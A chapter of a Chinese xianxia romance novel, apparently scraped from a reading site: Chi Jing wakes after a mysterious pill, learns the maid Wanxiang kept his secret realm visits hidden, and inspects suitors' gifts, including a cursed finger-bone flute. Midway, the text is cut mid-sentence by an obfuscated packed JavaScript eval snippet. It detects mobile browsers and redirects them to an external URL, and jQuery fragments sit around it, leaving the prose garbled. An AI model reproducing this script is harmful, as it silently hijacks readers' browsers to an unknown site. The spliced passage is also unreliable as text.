迟镜翌日醒来,已经不知道是什么时辰。
他腰酸腿软,在枕上伏了好一会儿,才缓过劲。
他恢复力气之后,做的第一件事就是检查被子里的状况,拉起被褥,往自个儿身下看。
中衣穿得严严实实,还换了新的。
身上被擦洗过,干爽舒适,没有半点异样。
可他明明吃了无端坐忘台的那什么药呀!
迟镜面露惊讶,溜下地去照镜子。
他撩起头发,掀开衣襟,发现不仅下半身没事,上半身也没问题。瓷白的皮肉在烛光下莹莹生辉,比之前更细腻了。
迟镜“咦”了一声,摸不着头脑。
修仙入道之后,确实会肌骨焕然、恍若新生,但是他昨晚身心俱疲,效果该大打折扣才对。
最关键的是,他怎么解的药效!
不是说无端坐忘台出品概不退换绝无解药吗?
“公子,奴家可否进来了?”
突然响起叩门声,伴随着挽香的问话。
迟镜连忙披好外袍,趿上木屐来应门:“请、请进!”
挽香捧着托盘,上面是洗漱用具。她道:“您终于醒啦。”
女子声色柔和,迟镜本来要乖乖点头,点到一半,慢半拍地想起来,她昨晚又不见了。
迟镜绷起脸嘀咕:“你昨晚去哪了呀……”
“主上到访,遣我回独石酒楼一趟。奴家来续缘峰的时候,还未与前东家道别呢,也该去说一声,拿回我的东西。”挽香见他绞着手指头不吱声,问,“莫不是你们生了什么争执?奇怪,主上说我等已结为盟友了,怎地又有不睦?”
迟镜泄气道:“没、没有很不睦……好吧!有一点点。我们……我们吵了一架。”
挽香放下托盘,摸摸他的脑袋,把食盒提进来。
她拉开三层抽屉,分别是豆浆、油条、一盏鲜甜的燕云斋头牌酥酪。
迟镜闻到食物的香气,顿时把什么委屈困惑都抛诸九霄云外去了,动手洗漱。
挽香倒是关心他:“公子吵赢了么?”
“这个嘛——”迟镜咬着沾了青盐的柳条,两眼忽闪忽闪。
挽香:“看来要屡战屡败,屡败屡战了啊。”
“我不小心才输的!不、不对,是我给他放水啦!”迟镜挥舞着洗脸的帕子,很不服气,不过很快又感到心虚,试探问道,“你、你有没有听到什么奇怪的声音?”
“公子指的是哪方面奇怪呢。”
“诶?就是——”
迟镜说不出口,脸蛋慢慢泛红。
挽香无奈笑道:“公子,您究竟在说什么呀。你昨晚服下梳脉丹,应当是一夜安眠的。梳脉通灵,入道之人必走的一步。奴家还未道喜呢,恭贺公子,仙途无量。”
“我昨晚服下……梳脉丹?”迟镜愣住了,好半天才道,“这是什么东西!我、我吃的是这东西吗?怎么和季逍说的不一样!”
挽香说:“凡人登仙,先解杂念。可以自然而然,缓慢磋磨,也可以一步到位,服丹助力。服此丹后,百念增生,杀欲、情欲、贪欲,不一而足。若将其好生纾解制伏,便算渡一难关,更进一步了。”
迟镜:“……”
迟镜满面茫然,半晌才道:“哦……”
季逍又骗了他,骗得他好苦。
可是,季逍也没好受到哪去,他们两败俱伤。一点模糊的印象留存在脑海,迟镜依稀想起,季逍亲了他一口,然后抱了他很久,用灵力帮他调息。
……真是首徒心海底针,搞不懂这厮在想什么!
迟镜感觉自己也有些怪,忙甩甩脑袋,坐下用膳。季逍不该亲他,更不该抱他,他们两个之间,总之是千也不该、万也不该。
迟镜不该一直惦记着这事儿。
既然没发生什么,就当什么都没发生吧。
雕花圆木桌上,摆着几个精美的瓷碟。燕云斋是燕山郡的老字号糖水铺子,因为崇拜常情,取的这一名字——常情封号“燕云剑仙”,曾经为燕云斋的匾额题字。
至于他家的酥酪,更是声名远播。这道看家甜品采用冰镇牛乳制成,敷一层烘烤至微焦的糖霜,口感丝滑绵密,甜而不腻。
迟镜每每下山,都要遣人去买。
不过,燕云斋酥酪因其鲜萃牛乳、沥冰去腥的手艺太过繁复,一日仅做得十份。不论客户的身份地位如何,先到先得。
即便是伏妄道君的道侣,也没法日日享用。
挽香竟然买到了,迟镜心生雀跃,要分给她一半。
挽香却婉拒道:“公子,主上送来的东西,还是您独自品尝罢。”
“季、季逍买的?”迟镜手上动作一顿,强装镇定地说,“反正大家都认识,一起吃也……也没关系呀。”
挽香笑着道:“不敢。奴家有事愧对于他,正心虚呢。”
“诶?什么事呀,能告诉我吗?”迟镜立即竖起耳朵。
“公子,从后院出去的松林里,隐藏着一处秘境入口。您一直通过那里与道君相会,对吗?”
迟镜倒抽一口冷气,惊叫道:“你怎么发现的!不不不对,我什么时候和谢陵相会过?”
“我出门采买食材、或者清洗用物的时候,您总会消失一段时间,再从后院回来。公子,您说我是如何发现的呢?”
挽香语带揶揄,温温柔柔地说,“您左手无名指上,还有一枚天山秘银打造的纳戒。若奴家没有猜错,此即秘境入口的钥匙。”
迟镜道:“你……我……”
他恨不能把燕云斋酥酪整份双手奉上,只求挽香守口如瓶。
挽香见少年小脸吓得煞白,温声道:“放心。以上所言,奴家皆未告知主上。”
迟镜心里的巨石骤然落地,挽香端起托盘,行礼告退:“好了,公子安生用膳吧,奴家先打理别处去。另外主上传话,请您申时往谈笑宫一趟,常宗主有事相商。”
女子叮嘱完毕,袅袅婷婷地离去。
迟镜望着她消失,想说什么,不过人家已经听不见了。
好半天后,他才低下头,莫名感动,默默地揉眼睛。
挽香不是彻底站在季逍那边的,对迟镜而言,实在是很好的消息。或许,挽香并非死士之流,而是拿薪酬办事之辈,迟镜可以努努力把她拉拢过来。
但常情邀迟镜会面,让少年心里打鼓。
宗主曾张罗着开放秘境、比武招亲,为迟镜另觅佳偶。消息早就传
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15185348|163803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
遍修真界,引发了数轮轰动。
但现在,临仙一念宗基本知道谢陵没死,秘境招亲便成了一桩难题。
迟镜决定把难题扔给常情,他不操心。离约定的申时尚有一会儿,他这顿不知算早膳还是午膳的饭吃得美滋滋、香喷喷,最后端起酥酪,叼着细柄木勺,转到碧纱橱前。
那些求娶他的仙门世家呈上诸多礼品,常情命人整理了单子,一齐送到续缘峰。
迟镜闲着没事,根据单子一项项清点。无名无派的不看,旁门左道的不看,俗不可耐的不看。
如此一来,一下子革去了不少提亲者。
最后剩一堆稀奇古怪的玩意儿,他横挑竖拣,只看上了其中两件。
首先是姑苏梦谒十方阁的礼物,装在一只玳瑁匣里。
匣子沉重,形制古朴,迟镜一打开,七色光辉流照满室,清丽彩芒充盈屋宇。
一株散发着灵气的兰花躺在匣内,在西域纱绒垫的映衬下,浑如美玉雕成,晶莹透亮。
饶是在谢陵私库中见惯了天材地宝的迟镜,也被这枝兰花惊艳到一时失语。少顷,他小心翼翼地戳了下兰叶,一股玄妙的感受流转全身。
如此奇花异草,不知耗费了多少人力物资栽培。其他珠光宝气的俗物,论外表靓丽不如它,论价值高昂,也不如它。
迟镜一心提高修为,对宝材爱不释手。记得梦谒十方阁的使者说,礼物是他们阁主选的。
虽然十分客气,无甚新意,但胜在名贵,而且刚好能帮上迟镜。迟镜便觉得此人很够意思,值得结交一番。
玳瑁匣子的角落,刻着“闻玦”二字。
赭石朱漆,既显尊贵,也不唐突。迟镜留了个心眼,记下此人姓名。
除此以外,还有一物吸引了他的目光。
不过,此物吸引他的原因不是和梦谒十方阁的礼物一样珍奇,而是在满目琳琅中,只有这件东西好像是意外混进来的,与别的格格不入。
迟镜疑惑地拾了起来,竟是一支骨笛。
他以前啃凤爪、咬鹅掌、嗦鸭脖、豪饮十全大补肉骨汤,吐出来的骨头千奇百怪,什么样都有,就是没见过如此细长精巧的一截。
迟镜打量半天,硬是没看出来,此物到底是什么骨头做的。一支很旧的笛子,保管得益,应该是某个人的心爱之物,却被送来求婚。
迟镜不经意地转动骨笛,不慎将其对齐了小指。
他猛然发现,做出这支笛子的,竟然是一段死人的指骨!
迟镜背后一凉,失手将骨笛落在地上。
“啪嗒”一声,穿堂风惊动了它,发出呜咽似的低吟。
一阵令人毛骨悚然的不安攀上迟镜脊背,可他如同着魔,缓缓蹲下,重新捡起了骨笛。
骨笛上穿着一根红绳,鲜艳如血染的颜色,和笛声一样蛊惑人心。迟镜难以自控地拈起绳子,套上脖颈。红绳长短适中,仿佛为他量身打造的一般。
迟镜摩挲着骨笛,摸到了小片凸起,是两列歪歪斜斜的刻字:
段移。
无端坐忘台。
他鬼使神差地拉开领口,把骨笛藏进去。做完这一切,迟镜骤然清醒,打了个激灵,却想不起刚才发生的事了。